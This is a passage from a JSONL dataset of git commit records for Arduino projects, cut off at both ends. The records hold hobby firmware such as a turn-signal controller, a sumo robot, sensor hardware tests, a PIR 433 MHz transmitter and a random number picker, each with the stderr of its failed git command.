\n}\n\nvoid off()\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n}\n\n\/\/IIIa. Functions that handle the actual digital write actions.\n\/\/ Separate function for left side and right side.\n\nvoid selectLeftOn(boolean leftInnerPower, boolean leftMiddlePower, boolean leftOuterPower, boolean leftMarkersPower)\n{\n digitalWrite(leftInner, leftInnerPower); \n digitalWrite(leftMiddle,leftMiddlePower);\n digitalWrite(leftOuter, leftOuterPower);\n digitalWrite(leftMarkers, leftMarkersPower);\n}\n\nvoid selectRightOn(boolean rightInnerPower, boolean rightMiddlePower, boolean rightOuterPower, boolean rightMarkersPower)\n{\n digitalWrite(rightInner, rightInnerPower); \n digitalWrite(rightMiddle, rightMiddlePower);\n digitalWrite(rightOuter, rightOuterPower);\n digitalWrite(rightMarkers, rightMarkersPower);\n}\n\n\/\/ IIIb. Tap Logic Functions\n\nvoid checkIsTap()\n{ \n if(flashCount > 0)\n return;\n \n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) )\n isRightTap = true;\n else if( (digitalRead(LEFT_SIGNAL_INPUT) == 1) )\n isLeftTap = true;\n}\n\nvoid updateTapControl()\n{\n flashCount++;\n \n if( (flashCount > MAX_REPEAT_ON_TAP) and (isRightTap) )\n {\n isRightTap = false;\n }\n else if( (flashCount > MAX_REPEAT_ON_TAP) and (isLeftTap) )\n {\n isLeftTap = false;\n }\n}\n\nvoid resetFlashCount()\n{\n flashCount = 0;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sequencial_turn_signal_4_8_0zxy\/sequencial_turn_signal_4_8_0zxy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0241e6eed84f98fba134bc45b83020d7115a276c","subject":"Create led-matrix-jsy.ino","message":"Create led-matrix-jsy.ino","repos":"awsutton\/jersey-coders","old_file":"arduino\/led-matrix\/led-matrix-jsy.ino","new_file":"arduino\/led-matrix\/led-matrix-jsy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/awsutton\/jersey-coders.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b2cf054a6bbc2f30d0fe641bee5f2852c26036d3","subject":"Created robot Straitght logic","message":"Created robot Straitght logic\n","repos":"makerspacelt\/NTAsumoBot","old_file":"MiniSumoStraitght\/MiniSumoStraitght.ino","new_file":"MiniSumoStraitght\/MiniSumoStraitght.ino","new_contents":"#include <MiniRobot.h>\n\nMiniRobot robot;\n\nvoid setup() {\n}\n\nvoid loop() {\n if (robot.leftEdge() && robot.distanceToEnemy() == 0) {\n robot.leftBack();\n } else {\n robot.leftForward();\n }\n if (robot.rightEdge() && robot.distanceToEnemy() == 0) {\n robot.rightBack();\n } else {\n robot.rightForward();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MiniSumoStraitght\/MiniSumoStraitght.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"023c52c68979e49c0c422fa56ddca45c75054b7f","subject":"Added the main calc code","message":"Added the main calc code\n","repos":"kkoppul2\/Sensors,kkoppul2\/Sensors,IllinoisRoboticsInSpace\/Sensors,IllinoisRoboticsInSpace\/Sensors","old_file":"Processing_Example\/Arduino\/FreeSix_cube.ino","new_file":"Processing_Example\/Arduino\/FreeSix_cube.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Arduino firmware for use with FreeSixCube processing example\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <FreeSixIMU.h>\n#include <FIMU_ADXL345.h>\n#include <FIMU_ITG3200.h>\n\n#define DEBUG\n#ifdef DEBUG\n#include \"DebugUtils.h\"\n#endif\n\n#include \"CommunicationUtils.h\"\n#include \"FreeSixIMU.h\"\n#include <Wire.h>\n\n\nfloat q[4]; \/\/hold q values\n\n\/\/ Set the FreeIMU object\nFreeSixIMU my3IMU = FreeSixIMU();\n\nvoid setup() {\n Serial.begin(115200);\n Wire.begin();\n\n delay(5);\n my3IMU.init();\n delay(5);\n}\n\n\nvoid loop() { \n my3IMU.getQ(q);\n serialPrintFloatArr(q, 4);\n Serial.println(\"\"); \/\/line break\n \n delay(60);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Processing_Example\/Arduino\/FreeSix_cube.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d65c6c88b5238758c6270ff1e10ab2d2925ef76","subject":"Enabled reporting again.","message":"Enabled reporting again.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4ada94e5f205eec323c427434bcd850ee6b2d50e","subject":"Added correct file","message":"Added correct file","repos":"opentrv\/opentrv,opentrv\/opentrv,opentrv\/opentrv,opentrv\/opentrv,opentrv\/opentrv","old_file":"Arduino\/hardware\/REV14\/REV14test\/REV14test.ino","new_file":"Arduino\/hardware\/REV14\/REV14test\/REV14test.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2016\n*\/\n\n\/**\n * Set of tests for REV14 hardware.\n * Tests:\n * - Supply voltage : Print measured voltage to serial\n * - Xtal : Check resonator frequency against internal RC\n * - Phototransistor: Perform a reading\n * - TMP112 : Test for ACK\n * - SHT21 : Test for ACK\n * - QM-1 module : Test for ACK\n * - RN2483 : Test for ACK\n * - Mobdet : TBD\n * - DS18B20 : TBD\n * \n * @todo Work out how to setup serial connection to RN2483\n * Move stuff out into libraries\n *\/\n\n#include <Wire.h>\n#include <OTV0p2Base.h>\n\n\/************************* Pin Defs **********************************\/\n\/\/ Power control pins\nstatic const uint8_t IO_Powerup_pin = 7; \/\/ IO power up pin.\nstatic const uint8_t BoostRegEn_pin = A3; \/\/ Boost regulator enable pin.\n\/\/ Peripheral connect pins\nstatic const uint8_t lightSensor_pin = A0; \/\/ analogue pin phototransistor is connected to.\nstatic const uint8_t QM1_IRQ_pin = 6; \/\/ interrupt pin connected to QM-1 module.\nstatic const uint8_t RN2483_Rx_pin = 8; \/\/ Software serial Rx pin connected to RN2483.\nstatic const uint8_t RN2483_Tx_pin = 5; \/\/ Software serial Tx pin connected to RN2483.\nstatic const uint8_t RN2483_Rst_pin = A2; \/\/ Pin connected to RN2483 reset line.\n\n\/************************ Other Constants ****************************\/\n\/\/ Xtal\nstatic const uint8_t xtalExpectedValue = 122; \/\/ Expected value from xtal\nstatic const uint8_t xtalMaxDeviation = 2; \/\/ Max acceptable deviation from xtal\n\/\/ TMP112\nstatic const uint8_t tmp112_i2cAddr = 0x48; \/\/ TMP112 I2C bus address\n\/\/ SHT21\nstatic const uint8_t sht21_i2cAddr = 0x40; \/\/ SHT21 I2C bus address\n\/\/ QM-1\nstatic const uint8_t qm1_i2cAddr = 0x09; \/\/ QM1 I2C bus address\n\/\/ RN2483\nstatic const uint16_t RN2483_baud = 23040; \/\/ Baud rate to talk to RN2483 at. Need to autobaud with break+'U' after reset.\n\/\/static const char RN2483_END[3] = \"\\r\\n\"; \/\/ RN2483 message end\n\n\/************************ Objects and variables **********************\/\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\nOTV0P2BASE::OTSoftSerial rn2483(RN2483_Rx_pin, RN2483_Tx_pin);\n\nvoid setup() {\n \/**\n * 1) Put all pins in safe state (low power not as important) - AVR should automatically init correctly\n * 2) Setup Xtal first to give time to settle\n * 3) Setup ADC0\n * 4) Setup software serial\n * 5) Setup I2C\n * 6) Wait a couple of secs\n *\/\n Serial.begin(4800); \/\/ start serial connection for debug output\n Serial.println(F(\"REV14 Hardware Tests\"));\n \n Serial.print(F(\"Setting up Xtal...\"));\n delay(500);\n setupXtal();\n Serial.println(F(\"done\"));\n Serial.print(F(\"Setting up SoftSerial...\"));\n setupSoftSerial();\n Serial.println(F(\"done\"));\n Serial.print(F(\"Setting up I2C...\"));\n setupI2C();\n Serial.println(F(\"done\"));\n Serial.print(F(\"Setup pins...\"));\n\/\/ setupPins();\n Serial.println(F(\"done\"));\n Serial.println(F(\"Waiting for Xtal to settle\"));\n delay(2000);\n}\n\nvoid loop() {\n \/**\n * 1) Test Vcc\n * 2) Test Xtal\n * 3) Test light sensor\n * 4) Test RN2483\n * 5) Scan I2C bus\n * 6) Test available I2C devices sequentially\n *\/\n Serial.println(F(\"\\n\\nStarting Tests...\"));\n\n testVcc();\n testXtal();\n delay(500);\n testLightSensor();\n testRN2483();\n scanI2C();\n delay(5000);\n}\n\n\/**\n * @brief Sets up TOSC registers for asyncronous capture to Timer X\n * @note powerSetup() disables everything and then enables@\n * - Timer 0 (arduino functions)\n * - Timer 2 (xtal capture timer)\n *\/\nvoid setupXtal()\n{\n OTV0P2BASE::powerSetup(); \/\/ Standard V0p2 startup method.\n OTV0P2BASE::powerUpSerialIfDisabled<4800>();\n OTV0P2BASE::powerUpADCIfDisabled();\n}\n\n\/**\n * @brief Sets up ADC0 for one shot capture\n *\/\n\/\/ void setupADC0()\n\/\/ {\n\/\/ \n\/\/ }\n\n\/**\n * @brief Sets up software serial on relevant pins\n *\/\n void setupSoftSerial()\n {\n rn2483.begin(RN2483_baud);\n }\n\n\/**\n * @brief Sets up I2C bus\n *\/\n void setupI2C()\n {\n OTV0P2BASE::powerUpTWIIfDisabled();\n }\n\n\/**\n * @brief Sets up pins that are not defined by other peripheral setup\n * - Set RN2483 ~reset to high (non reset state)\n * - Power up photodiode\/any \"intermittent peripherals\"\n * - Enable boost reg to power up QM-1\n *\/\nvoid setupPins()\n{\n pinMode(RN2483_Rst_pin, OUTPUT);\n pinMode(IO_Powerup_pin, OUTPUT);\n pinMode(BoostRegEn_pin, OUTPUT);\n digitalWrite(RN2483_Rst_pin, HIGH);\n digitalWrite(IO_Powerup_pin, HIGH);\n digitalWrite(BoostRegEn_pin, HIGH);\n}\n\n\/**\n * @brief Tests supply voltage against internal reference\n * @todo Implement test\n *\/\n void testVcc()\n {\n uint16_t value = 0;\n Serial.print(F(\"Testing Supply...\"));\n value = Supply_cV.read();\n Serial.print(value); \/\/ print supply voltage\n Serial.println(F(\"V\"));\n }\n\n\/**\n * @brief Tests xtal against internal high speed RC oscillator\n *\/\n void testXtal()\n {\n Serial.print(F(\"Testing Xtal...\"));\n delay(500);\n if(::OTV0P2BASE::HWTEST::check32768HzOscExtended()) Serial.println(F(\"passed\"));\n else Serial.println(F(\"failed\"));\n }\n\n\/**\n * @brief Tests light sensor. Prints failed if value is 0 or 255, else prints value.\n *\/\nvoid testLightSensor()\n{\n uint8_t value = 0;\n Serial.print(F(\"Testing Light Sensor...\"));\n\/\/ OTV0P2BASE::power_intermittent_peripherals_enable();\n\/\/ delay(100);\n value = analogRead(lightSensor_pin);\n if( (value == 0) || (value == 255) ) Serial.println(F(\"failed\"));\n else Serial.println(value); \/\/ print light value;\n}\n\/**\n * @brief Tests RN2483 is present\n * @todo get this working\n *\/\nvoid testRN2483()\n{\n char buf[9];\n memset(buf, 0, sizeof(buf));\n buf[8] = ' ';\n Serial.println(F(\"Testing RN2483...\"));\n \/\/ reset RN2483\n digitalWrite(RN2483_Rst_pin, LOW);\n delay(100);\n digitalWrite(RN2483_Rst_pin, HIGH);\n delay(1000);\n \/\/ autobaud (break+'U')\n digitalWrite(RN2483_Tx_pin, LOW);\n delay(10);\n digitalWrite(RN2483_Tx_pin, HIGH);\n rn2483.print('U');\n delay(100);\n \/\/ send test message and check reply\n rn2483.print(\"sys get ver\\r\\n\");\n rn2483.read( (uint8_t *)buf, (sizeof(buf)-1) );\n Serial.println(buf);\n}\n\/**\n * @brief Scans I2C bus for possible devices on the REV10 and prints to serial.\n *\/\nvoid scanI2C()\n{\n uint8_t value = 0;\n Serial.println(F(\"Scanning I2C bus:\"));\n testTMP112();\n testSHT21();\n testQM1();\n \n\/\/ Serial.println(value); \/\/ print supply voltage;\n}\n\/**\n * @brief Tests TMP112\n *\/\nvoid testTMP112()\n{\n Serial.print(F(\"Checking for TMP112...\"));\n if(!testI2CDev(tmp112_i2cAddr)) Serial.println(F(\"present.\"));\n else Serial.println(F(\"not present.\"));\n}\n\/**\n * @brief Tests SHT21\n *\/\nvoid testSHT21()\n{\n Serial.print(F(\"Checking for SHT21...\"));\n if(!testI2CDev(sht21_i2cAddr)) Serial.println(F(\"present.\"));\n else Serial.println(F(\"not present.\"));\n}\n\/**\n * @brief Tests QM-1\n * @note This requires boostRegEn_pin to be set high (+delay for QM-1 to start properly?)\n *\/\nvoid testQM1()\n{\n Serial.print(F(\"Checking for QM-1...\"));\n if(!testI2CDev(qm1_i2cAddr)) Serial.println(F(\"present.\"));\n else Serial.println(F(\"not present.\"));\n}\n\n\/**\n * @brief Tests I2C device at address for ACK\n * @retval 0 success\n * 1 buffer error (should never happen)\n * 2 NACK received\n * 3 NACK received\n * 4 other error\n *\/\nuint8_t testI2CDev(uint8_t addr)\n{\n Wire.beginTransmission(addr);\n return Wire.endTransmission();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/hardware\/REV14\/REV14test\/REV14test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d5c92e14f36801a8d838508e9d3113766df03140","subject":"Create PIR_433mhz.ino","message":"Create PIR_433mhz.ino","repos":"Astu04\/Raspi_PIR_Push_notif,Astu04\/Raspi_PIR_Push_notif,Astu04\/Raspi_PIR_Push_notif","old_file":"PIR_433mhz.ino","new_file":"PIR_433mhz.ino","new_contents":"#include <RCSwitch.h>\n#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <avr\/io.h>\n#include <avr\/power.h>\n#include <RF12.h>\n\/\/#include <avr\/wdtJWP.h>\n#include <Ports.h>\n#include <PinChangeInt.h>\n\n#define PIR 8\n#define tr433 7\n#define transcode 12345 \/\/ Modify the value here! As in RFSniffer.cpp\n\n\nRCSwitch mySwitch = RCSwitch();\nISR(WDT_vect) {\n Sleepy::watchdogEvent();\n}\n\nint previousADCSRA;\n\n\nvoid setup() {\n\n pinMode(PIR, INPUT);\n \/\/ Transmitter is connected to Arduino Pin #10\n mySwitch.enableTransmit(tr433);\n\n PRR = bit(PRTIM1); \/\/ only keep timer 0 going\n ADCSRA &= ~ bit(ADEN); bitSet(PRR, PRADC); \/\/ Disable the ADC to save power\n PCintPort::attachInterrupt(PIR, wakeup, CHANGE);\n\n \/\/ Optional set pulse length.\n \/\/ mySwitch.setPulseLength(320);\n\n \/\/ Optional set protocol (default is 1, will work for most outlets)\n \/\/ mySwitch.setProtocol(2);\n\n \/\/ Optional set number of transmission repetitions.\n \/\/ mySwitch.setRepeatTransmit(15);\n\n\n}\n\n\n\/*\nISR (WDT_vect) {\n wdt_disable();\n} *\/\n\nvoid startSleeping() { \/\/ Source: www.disk91.com\/2014\/technology\/hardware\/arduino-atmega328p-low-power-consumption\/\n \/\/ clear various \"reset\" flags\n MCUSR = 0;\n \/\/ allow changes, disable reset, enable Watchdog interrupt\n WDTCSR = bit (WDCE) | bit (WDE);\n \/\/ set interval (see datasheet p55)\n WDTCSR = bit (WDIE) | bit (WDP2) | bit (WDP1); \/\/ 128K cycles = approximativly 1 second\n wdt_reset(); \/\/ start watchdog timer\n set_sleep_mode (SLEEP_MODE_PWR_DOWN); \/\/ prepare for powerdown\n sleep_enable();\n\n \/\/ turn off brown-out enable in software\n MCUCR = bit (BODS) | bit (BODSE);\n MCUCR = bit (BODS);\n\n previousADCSRA = ADCSRA;\n ADCSRA &= ~(1 << ADEN); \/\/Disable ADC\n ACSR = (1 << ACD); \/\/Disable the analog comparator\n DIDR0 = 0x3F; \/\/Disable digital input buffers on all ADC0-ADC5 pins\n DIDR1 = (1 << AIN1D) | (1 << AIN0D); \/\/Disable digital input buffer on AIN1\/0\n\n power_twi_disable();\n power_spi_disable();\n power_usart0_disable(); \/\/Needed for serial.print\n power_timer0_disable(); \/\/Needed for delay and millis()\n power_timer1_disable();\n power_timer2_disable(); \/\/Needed for asynchronous 32kHz operation\n\n sleep_cpu (); \/\/ power down !\n}\n\nvoid wakeup() { \/\/ We should see which of this things we need to remove them.\n power_twi_enable();\n power_spi_enable();\n power_usart0_enable();\n power_timer0_enable();\n power_timer1_enable();\n power_timer2_enable();\n power_adc_enable();\n ADCSRA = previousADCSRA;\n \/\/ BOD is automatically restarted at wakeup\n}\n\nvoid loop() {\n startSleeping();\n sleep_disable();\n wakeup(); \n if ( digitalRead(PIR) ) mySwitch.send(transcode, 24); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PIR_433mhz.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"580bc8980730808b452aa6c923a1260397367c29","subject":"Add RF example","message":"Add RF example\n","repos":"jdmichaud\/snippets,jdmichaud\/snippets,jdmichaud\/snippets,jdmichaud\/snippets,jdmichaud\/snippets,jdmichaud\/snippets,jdmichaud\/snippets","old_file":"arduino\/switch_n_RF\/switch_n_RF.ino","new_file":"arduino\/switch_n_RF\/switch_n_RF.ino","new_contents":"#include <RCSwitch.h>\n#include <LowPower.h>\n\n\/*\n * This example shows how to read the status of a input switch\n * and flash a LED when that switch change its state.\n * To reduce power consumption, the MCU is put to sleep and we\n * use the switch pin as a interrupt source.\n *\/\n\n\/\/RCSwitch rfDevice = RCSwitch();\n\nint SERIAL_COMMUNICATION_SPEED = 9600; \n\/\/ How long do we sleep. The longer, the better for the battery but the\n\/\/ resolution of our switch will suffer.\nperiod_t SLEEP_PERIOD = SLEEP_15MS;\n\/\/ Pin on which the magnetic swith is plugged.\nint MAGNETIC_SWITCH_PIN = 3;\n\/\/ Pin on which the RF device is plugged;\nint RF_DEVICE_PIN = 12;\n\/\/ internal LED\nint INTERNAL_LED = 13;\n\/\/ Status of the magnetic switch. We consider the door closed\nboolean contact = true;\n\n\/\/ Function called on interrupt\nvoid wakeUp() {\n \/\/ It is a critical section so don't do anything\n}\n\nvoid flashLED() {\n digitalWrite(RF_DEVICE_PIN, HIGH);\n delay(50);\n digitalWrite(RF_DEVICE_PIN, LOW); \n}\n\nvoid setup() {\n \/*********************** RF Device initialisation **************************\/\n Serial.begin(SERIAL_COMMUNICATION_SPEED);\n \/\/ Transmitter is connected to Arduino Pin #10\n \/\/rfDevice.enableTransmit(RF_DEVICE_PIN);\n \/\/ Optional set pulse length.\n \/\/ rfDevice.setPulseLength(320);\n \/\/ Optional set protocol (default is 1, will work for most outlets)\n \/\/ rfDevice.setProtocol(2);\n \/\/ Optional set number of transmission repetitions.\n \/\/ rfDevice.setRepeatTransmit(15);\n \/************************* Pins initialisation ****************************\/\n \/\/ Allow wake up pin to trigger interrupt on state change.\n attachInterrupt(digitalPinToInterrupt(MAGNETIC_SWITCH_PIN), wakeUp, CHANGE);\n \/\/ Set the pin to PULLUP so we don't need an additional resistor\n \/\/ WARNING, the order of the instruction matters. attachInterrup will\n \/\/ erase the PULLUP switch, so configure the PULLUP after the \n \/\/ attacheInterrupt\n pinMode(MAGNETIC_SWITCH_PIN, INPUT_PULLUP);\n pinMode(RF_DEVICE_PIN, OUTPUT);\n \/\/ Just turn useless LED to off\n pinMode(INTERNAL_LED, OUTPUT);\n digitalWrite(INTERNAL_LED, LOW);\n}\n\nvoid loop() {\n \/\/ Go to sleep mode\n LowPower.powerDown(SLEEP_FOREVER, ADC_OFF, BOD_OFF);\n\n \/\/ Check contact state. We assume a normally closed switch.\n boolean newContact = digitalRead(MAGNETIC_SWITCH_PIN);\n \/\/ Does the contact status changed since we last check\n if (newContact != contact) {\n \/\/ Send the status of the contact on one bit\n \/\/rfDevice.send(contact, 1);\n flashLED();\n \/\/ Update the status of the contact\n contact = newContact;\n \/\/Serial.print(\"pushing to RF device: \");\n \/\/Serial.println(contact);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/switch_n_RF\/switch_n_RF.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"729d22234f9cd2dd59e7524d9b90d3486c34034a","subject":"Exemplo de leitura simples para teste das portas Q","message":"Exemplo de leitura simples para teste das portas Q\n","repos":"ArduinoMinas\/SmartBina-CallerID","old_file":"src\/examples\/Read_Q_Ports\/Read_Q_Ports.ino","new_file":"src\/examples\/Read_Q_Ports\/Read_Q_Ports.ino","new_contents":"const int STQ = 3; \n const int Q4 = A0;\n const int Q3 = A1;\n const int Q2 = A2;\n const int Q1 = A3;\n\nvoid setup() {\n pinMode(STQ, INPUT);\n pinMode(Q4, INPUT);\n pinMode(Q3, INPUT);\n pinMode(Q2, INPUT);\n pinMode(Q1, INPUT);\n}\n\n\nvoid loop() {\n\tbyte DTMFread;\n\tif(digitalRead(STQ)==HIGH){ \/\/When a DTMF tone is detected, STQ will read HIGH for the duration of the tone.\n\t\tDTMFread=0;\n\t\tif(digitalRead(Q1)==HIGH){ \/\/If Q1 reads HIGH, then add 1 to the DTMFread variable\n\t\t DTMFread=DTMFread+1;\n\t\t}\n\t\tif(digitalRead(Q2)==HIGH){ \/\/If Q2 reads HIGH, then add 2 to the DTMFread variable\n\t\t DTMFread=DTMFread+2;\n\t\t}\n\t\tif(digitalRead(Q3)==HIGH){ \/\/If Q3 reads HIGH, then add 4 to the DTMFread variable\n\t\t DTMFread=DTMFread+4;\n\t\t}\n\t\tif(digitalRead(Q4)==HIGH){ \/\/If Q4 reads HIGH, then add 8 to the DTMFread variable\n\t\t DTMFread=DTMFread+8;\n\t\t}\n\t}\n\tSerial.print(DTMFread);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/examples\/Read_Q_Ports\/Read_Q_Ports.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9eb8303101796714ad37b83000eca6b172ce89a9","subject":"ok, we will check if the buffer ws full .","message":"ok, we will check if the buffer ws full .\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"44490fbd7cb2374ab5ac2185dde04a0759e4b718","subject":"Added blink","message":"Added blink\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotRacer\/CannybotRacer.ino","new_file":"src\/rfduino\/CannybotRacer\/CannybotRacer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"769fc5938f9df50db922aeebfbf8bd8a44849866","subject":"initial version","message":"initial version\n\npseudo-random number generation combined with floating analog pin values for entropy","repos":"tinkernauts\/arduino","old_file":"arduino_randompicker.ino","new_file":"arduino_randompicker.ino","new_contents":"\/\/ ######################################################################\n\/\/ \n\/\/ arduino_randompicker.ino - demo to use pseudo-random number\n\/\/ generation combined with floating analog pin values to pick\n\/\/ sets of \"game\" numbers.\n\/\/\n\/\/ Currently configured for 5 + 1 picks (\"P0werB4ll\")\n\/\/ Picks #1 - #5 uses numbers 1 - 69\n\/\/ Pick #6 uses numbers 1 - 26\n\/\/ \n\/\/ Bart Spainhour <bart@tinkernauts.org>\n\/\/\n\/\/ ######################################################################\n\nvoid setup(){\n\n \/\/ open serial port at 9600 baud\n Serial.begin(9600);\n\n \/\/ print header for formatting\n Serial.println();\n Serial.println(\"|-------------------------------|\");\n}\n\nvoid loop() {\n\n\/\/ return 5 sets of results \n for (int i=0; i <= 4; i++){\n \n top:\n \/\/ flush random number vars\n int randNumber0 = NULL;\n int randNumber1 = NULL;\n int randNumber2 = NULL;\n int randNumber3 = NULL;\n int randNumber4 = NULL;\n int randNumber5 = NULL;\n\n \/\/ generate randNumber0\n number0:\n\n \/\/ reset random seed\n \/\/cycles through all 6 \"floating\" \n \/\/unused analog pins for entropy\n randomSeed(analogRead(millis()%6));\n\n \/\/pick number 0\n randNumber0 = random(1,70);\n\n \/\/ generate randNumber1\n number1:\n\n \/\/ reset random seed \n randomSeed(analogRead(millis()%6));\n\n \/\/pick number 1\n randNumber1 = random(1,70);\n\n \/\/ check for duplicate\n if (randNumber1 == randNumber0)\n {goto number1;}\n\n \/\/ generate randNumber2\n number2:\n\n \/\/ reset random seed \n randomSeed(analogRead(millis()%6));\n\n \/\/pick number 2\n randNumber2 = random(1,70);\n\n \/\/ check for duplicate\n if (randNumber2 == randNumber1 || randNumber2 == randNumber0)\n {goto number2;}\n\n \/\/ generate randNumber3\n number3:\n\n \/\/ reset random seed \n randomSeed(analogRead(millis()%6));\n\n \/\/pick number 3\n randNumber3 = random(1,70);\n\n \/\/ check for duplicate\n if (randNumber3 == randNumber2 || randNumber3 == randNumber1 || randNumber3 == randNumber0)\n {goto number3;}\n\n \/\/ generate randNumber4\n number4:\n\n \/\/ reset random seed \n randomSeed(analogRead(millis()%6));\n\n \/\/pick number 4\n randNumber4 = random(1,70);\n\n \/\/ check for duplicate\n if (randNumber4 == randNumber3 || randNumber4 == randNumber2 || randNumber4 == randNumber1 || randNumber4 == randNumber0 )\n {goto number4;}\n\n \/\/ generate randNumber5\n number5:\n\n \/\/ reset random seed \n randomSeed(analogRead(millis()%6));\n\n \/\/pick number 5\n randNumber5 = random(1,27);\n\n \/\/ text formatting for printing\n String strPickOne = String(randNumber0);\n String strPickTwo = String(randNumber1);\n String strPickThree = String(randNumber2);\n String strPickFour = String(randNumber3);\n String strPickFive = String(randNumber4);\n String strPickSix = String(randNumber5);\n\n \/\/ add leading spaces for single-digit numbers\n if (strPickOne.length() == 1 )\n {strPickOne = \" \" + strPickOne;}\n if (strPickTwo.length() == 1 )\n {strPickTwo = \" \" + strPickTwo;}\n if (strPickThree.length() == 1 )\n {strPickThree = \" \" + strPickThree;}\n if (strPickFour.length() == 1 )\n {strPickFour = \" \" + strPickFour;}\n if (strPickFive.length() == 1 )\n {strPickFive = \" \" + strPickFive;}\n if (strPickSix.length() == 1 )\n {strPickSix = \" \" + strPickSix;}\n\n \/\/ print result to serial \n String strResult;\n strResult =\"| \" + strPickOne + \" - \" + strPickTwo + \" - \" + strPickThree + \" - \" + strPickFour + \" - \" + strPickFive + \" | \" + strPickSix + \" |\";\n Serial.println(strResult);\n Serial.println(\"|-------------------------------|\"); \n }\n \n Serial.println();\n \n \/\/ wait 1 day (60*60*24)*1000\n delay(86400000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_randompicker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c445a965c1f744eae32f5109bdf7681c93373d8","subject":"Added Blink one pin on a port Example","message":"Added Blink one pin on a port Example\n","repos":"Protoneer\/SIPO","old_file":"Testing\/MCP23017\/BlinkOnePinOnPortA\/BlinkOnePinOnPortA.ino","new_file":"Testing\/MCP23017\/BlinkOnePinOnPortA\/BlinkOnePinOnPortA.ino","new_contents":"#include \"Wire.h\"\nvoid setup()\n{\n Wire.begin(); \/\/ wake up I2C bus\n SetPortA2Outputs();\n}\n\nvoid loop()\n{\n byte sendByte = B00000001;\n SetPinsOnPortA(sendByte);\n delay(1000);\n SetPinsOnPortA(0);\n delay(1000);\n}\n\nvoid SetPortA2Outputs()\n{\n Wire.beginTransmission(0x20);\n Wire.write(0x00); \/\/ IODIRA register\n Wire.write(0x00); \/\/ set all of port A to outputs\n Wire.endTransmission();\n}\n\nvoid SetPinsOnPortA(int a)\n{\n Wire.beginTransmission(0x20);\n Wire.write(0x12); \/\/ 